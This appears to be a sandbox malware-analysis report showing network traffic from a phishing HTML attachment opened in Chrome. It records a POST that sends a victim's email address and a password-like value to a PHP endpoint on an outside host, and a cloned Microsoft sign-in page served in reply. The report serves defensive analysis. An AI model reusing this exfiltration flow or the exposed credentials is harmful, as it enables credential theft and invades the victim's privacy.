2024-10-24 09:58:08 UTC	98	IN	Data Raw: 2d 31 30 2d 32 34 20 30 39 3a 35 38 3a 30 38 5a 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 73 46 61 74 61 6c 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: -10-24 09:58:08Z","isFatal":true,"message":"AADSTS165900"}}"}
2024-10-24 09:58:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49757	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:58:10 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aa18pPBfZOLSHZ1&MD=3CrBuWA5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-24 09:58:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fc6de655-c107-4835-8856-ae86b3425304 MS-RequestId: bf31f650-b655-4e7c-bf15-599e94a2770e MS-CV: aHDKHPh90kijh0JQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 24 Oct 2024 09:58:10 GMT Connection: close Content-Length: 30005
2024-10-24 09:58:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-24 09:58:10 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49759	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:58:17 UTC	679	OUT	POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive Content-Length: 59 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:58:17 UTC	59	OUT	Data Raw: 64 70 5f 6d 3d 61 6e 6e 2d 6b 61 74 68 72 69 6e 2e 6b 6f 63 68 25 34 30 65 6c 6b 61 6d 65 74 2e 64 65 26 64 70 5f 70 3d 62 64 66 25 33 43 6e 67 66 6e 66 61 6d 67 61 66 6d 72 61 Data Ascii: dp_m=ann-kathrin.koch%40elkamet.de&dp_p=bdf%3Cngfnfamgafmra
2024-10-24 09:58:21 UTC	1093	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dav0j62n43161ihu9lqcnajk1s; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F71DqlsBKZfKVIj52pQ5OgAH0P5bZdwKsUXtIb8zVvUSpqg%2BnqGJMp1jVDspSWfiNDbuSC4kvP%2BJdHZTqZs5uiMk9B7HYLr%2FjHRVBzD4ax4%2FdutN8%2BvT9Eo6IG4S3OzRnG6xgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791b8a8fae469e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1184&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1338&delivery_rate=2448013&cwnd=251&unsent_bytes=0&cid=3eda4800847f3fe1&ts=3100&x=0"
2024-10-24 09:58:21 UTC	276	IN	Data Raw: 32 62 37 35 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 74 72 75 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 22 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 Data Ascii: 2b75{"live":false,"is_business":true,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":true,"result":"\r\n\r\n<!-- Copyright (C) Microsoft Corporation. All rights
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 6c 74 3b 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 74 6d 6c 20 64 69 72 3d 26 71 75 6f 74 3b 6c 74 72 26 71 75 6f 74 3b 20 63 6c 61 73 73 3d 26 71 75 6f 74 3b 26 71 75 6f 74 3b 20 6c 61 6e 67 3d 26 71 75 6f 74 3b 65 6e 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 65 61 64 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 74 69 74 6c 65 26 67 74 3b 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 26 6c 74 3b 5c 2f 74 69 74 6c 65 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 43 6f 6e 74 65 6e 74 2d 54 79 70 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 Data Ascii: lt;!DOCTYPE html>\r\n<html dir="ltr" class="" lang="en">\r\n<head>\r\n <title>Sign in to your account<\/title>\r\n <meta http-equiv="Content-Type" content="text\/html; charse
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 52 65 66 72 65 73 68 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 30 3b 20 55 52 4c 3d 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 6a 73 64 69 73 61 62 6c 65 64 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 5c 2f 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 20 20 20 20 5c 72 Data Ascii: " content="telephone=no" \/>\r\n\r\n <noscript>\r\n <meta http-equiv="Refresh" content="0; URL=https:\/\/login.microsoftonline.com\/jsdisabled" \/>\r\n <\/noscript>\r\n\r\n \r\n \r
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 65 6e 2d 55 53 5c 5c 75 30 30 32 36 73 69 67 6e 75 70 3d 31 5c 5c 75 30 30 32 36 6c 77 3d 31 5c 5c 75 30 30 32 36 66 6c 3d 65 61 73 69 32 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 41 35 56 51 4a 7a 78 65 34 4c 74 78 75 77 36 36 37 4b 6e 70 69 47 32 4a 78 7a 71 67 78 75 72 38 6e 65 44 73 32 32 33 6d 77 58 7a 53 4f 46 36 76 37 75 30 32 6f 31 35 34 34 6a 66 64 35 71 78 50 35 73 65 45 38 64 4e 79 78 43 55 48 76 69 55 39 65 6a 38 48 77 67 54 66 6d 7a 46 77 75 56 6a 4f 43 61 61 77 72 6e 79 36 76 6a 76 45 31 70 35 39 4d 4d 67 6d 61 74 59 75 4a 50 64 78 34 57 72 4a 55 64 35 6d 54 37 53 4f 6e 2d 36 75 56 52 70 75 35 73 76 62 4e 62 45 7a 33 76 65 30 5a 44 44 54 5a 57 58 4d Data Ascii: en-US\\u0026signup=1\\u0026lw=1\\u0026fl=easi2\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeA5VQJzxe4Ltxuw667KnpiG2Jxzqgxur8neDs223mwXzSOF6v7u02o1544jfd5qxP5seE8dNyxCUHviU9ej8HwgTfmzFwuVjOCaawrny6vjvE1p59MMgmatYuJPdx4WrJUd5mT7SOn-6uVRpu5svbNbEz3ve0ZDDTZWXM
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 4d 44 63 32 5c 5c 75 30 30 32 36 78 2d 63 6c 69 65 6e 74 2d 53 4b 55 3d 49 44 5f 4e 45 54 38 5f 30 5c 5c 75 30 30 32 36 78 2d 63 6c 69 65 6e 74 2d 56 65 72 3d 37 2e 35 2e 31 2e 30 5c 5c 75 30 30 32 36 75 61 69 64 3d 35 31 34 64 64 33 61 35 32 35 64 34 34 32 64 64 62 32 36 66 62 62 34 66 62 66 62 35 31 34 33 37 5c 5c 75 30 30 32 36 6d 73 70 72 6f 78 79 3d 31 5c 5c 75 30 30 32 36 69 73 73 75 65 72 3d 6d 73 6f 5c 5c 75 30 30 32 36 74 65 6e 61 6e 74 3d 63 6f 6d 6d 6f 6e 5c 5c 75 30 30 32 36 75 69 5f 6c 6f 63 61 6c 65 73 3d 65 6e 2d 55 53 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 77 73 6b 58 52 31 4b 79 61 7a 47 51 34 4e 59 70 4d 36 72 42 53 79 6b 6f 37 41 72 65 4c 65 Data Ascii: MDc2\\u0026x-client-SKU=ID_NET8_0\\u0026x-client-Ver=7.5.1.0\\u0026uaid=514dd3a525d442ddb26fbb4fbfb51437\\u0026msproxy=1\\u0026issuer=mso\\u0026tenant=common\\u0026ui_locales=en-US\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFewskXR1KyazGQ4NYpM6rBSyko7AreLe
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 7e 42 75 6c 67 61 72 69 61 7e 33 35 39 21 21 21 42 46 7e 42 75 72 6b 69 6e 61 20 46 61 73 6f 7e 32 32 36 21 21 21 42 49 7e 42 75 72 75 6e 64 69 7e 32 35 37 21 21 21 43 56 7e 43 61 62 6f 20 56 65 72 64 65 7e 32 33 38 21 21 21 4b 48 7e 43 61 6d 62 6f 64 69 61 7e 38 35 35 21 21 21 43 4d 7e 43 61 6d 65 72 6f 6f 6e 7e 32 33 37 21 21 21 43 41 7e 43 61 6e 61 64 61 7e 31 21 21 21 4b 59 7e 43 61 79 6d 61 6e 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 43 46 7e 43 65 6e 74 72 61 6c 20 41 66 72 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 32 33 36 21 21 21 54 44 7e 43 68 61 64 7e 32 33 35 21 21 21 43 4c 7e 43 68 69 6c 65 7e 35 36 21 21 21 43 4e 7e 43 68 69 6e 61 7e 38 36 21 21 21 43 58 7e 43 68 72 69 73 74 6d 61 73 20 49 73 6c 61 6e 64 7e 36 31 21 21 21 43 43 7e 43 6f 63 6f Data Ascii: ~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Coco
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 61 70 61 6e 7e 38 31 21 21 21 4a 45 7e 4a 65 72 73 65 79 7e 34 34 21 21 21 4a 4f 7e 4a 6f 72 64 61 6e 7e 39 36 32 21 21 21 4b 5a 7e 4b 61 7a 61 6b 68 73 74 61 6e 7e 37 21 21 21 4b 45 7e 4b 65 6e 79 61 7e 32 35 34 21 21 21 4b 49 7e 4b 69 72 69 62 61 74 69 7e 36 38 36 21 21 21 4b 52 7e 4b 6f 72 65 61 7e 38 32 21 21 21 4b 57 7e 4b 75 77 61 69 74 7e 39 36 35 21 21 21 4b 47 7e 4b 79 72 67 79 7a 73 74 61 6e 7e 39 39 36 21 21 21 4c 41 7e 4c 61 6f 73 7e 38 35 36 21 21 21 4c 56 7e 4c 61 74 76 69 61 7e 33 37 31 21 21 21 4c 42 7e 4c 65 62 61 6e 6f 6e 7e 39 36 31 21 21 21 4c 53 7e 4c 65 73 6f 74 68 6f 7e 32 36 36 21 21 21 4c 52 7e 4c 69 62 65 72 69 61 7e 32 33 31 21 21 21 4c 59 7e 4c 69 62 79 61 7e 32 31 38 21 21 21 4c 49 7e 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 7e Data Ascii: apan~81!!!JE~Jersey~44!!!JO~Jordan~962!!!KZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~
2024-10-24 09:58:21 UTC	1369	IN	Data Raw: 75 63 69 61 7e 31 21 21 21 4d 46 7e 53 61 69 6e 74 20 4d 61 72 74 69 6e 7e 35 39 30 21 21 21 50 4d 7e 53 61 69 6e 74 20 50 69 65 72 72 65 20 61 6e 64 20 4d 69 71 75 65 6c 6f 6e 7e 35 30 38 21 21 21 56 43 7e 53 61 69 6e 74 20 56 69 6e 63 65 6e 74 20 61 6e 64 20 74 68 65 20 47 72 65 6e 61 64 69 6e 65 73 7e 31 21 21 21 57 53 7e 53 61 6d 6f 61 7e 36 38 35 21 21 21 53 4d 7e 53 61 6e 20 4d 61 72 69 6e 6f 7e 33 37 38 21 21 21 53 54 7e 53 26 61 74 69 6c 64 65 3b 6f 20 54 6f 6d 26 65 61 63 75 74 65 3b 20 61 6e 64 20 50 72 26 69 61 63 75 74 65 3b 6e 63 69 70 65 7e 32 33 39 21 21 21 53 41 7e 53 61 75 64 69 20 41 72 61 62 69 61 7e 39 36 36 21 21 21 53 4e 7e 53 65 6e 65 67 61 6c 7e 32 32 31 21 21 21 52 53 7e 53 65 72 62 69 61 7e 33 38 31 21 21 21 53 43 7e 53 65 79 63 Data Ascii: ucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seyc
2024-10-24 09:58:21 UTC	1274	IN	Data Raw: 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 53 68 6f 75 6c 64 53 75 70 70 6f 72 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 46 69 78 52 65 73 65 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 41 76 6f 69 64 4e 65 77 4f 74 63 47 65 6e 65 72 61 74 69 6f 6e 57 68 65 6e 41 6c 72 65 61 64 79 53 65 6e 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 50 72 6f 6d 6f 74 65 64 46 65 64 43 72 65 64 54 79 70 65 73 41 72 72 61 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 49 6e 74 65 72 73 74 Data Ascii: ":true,"fShouldSupportTargetCredentialForRecovery":true,"fFixResetTargetCredentialForRecovery":true,"fAvoidNewOtcGenerationWhenAlreadySent":true,"fUsePromotedFedCredTypesArray":true,"fUseCertificateInterst

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49762	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:58:22 UTC	447	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
2024-10-24 09:58:23 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bJb8EN%2FASM6YrH94NYQsX7gH8%2BgbU7n0J3wY7mqXk0OOeAEAnqUD8yg4TmwfIa8yUKDLx2odDr04UGoRNnNYpsqKELzy0va5%2BMoY0vY3Qq7AJuAr9KNenVEI09WJNaggvth0Uw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791ba7ba6f4796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1024&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1025&delivery_rate=2693953&cwnd=244&unsent_bytes=0&cid=4e69ff80d99eaff3&ts=699&x=0"
2024-10-24 09:58:23 UTC	341	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-24 09:58:23 UTC	98	IN	Data Raw: 2d 31 30 2d 32 34 20 30 39 3a 35 38 3a 32 33 5a 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 73 46 61 74 61 6c 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: -10-24 09:58:23Z","isFatal":true,"message":"AADSTS165900"}}"}
2024-10-24 09:58:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:57:18
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PO 635614 635613_CQDM.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:57:18
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1980,i,2401576278742567383,15424756592650160593,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 151.101.1.229 151.101.1.229
Source: Joe Sandbox View	IP Address: 151.101.129.229 151.101.129.229

Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/admin/lifeattach HTTP/1.1Host: amsroofinginc.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
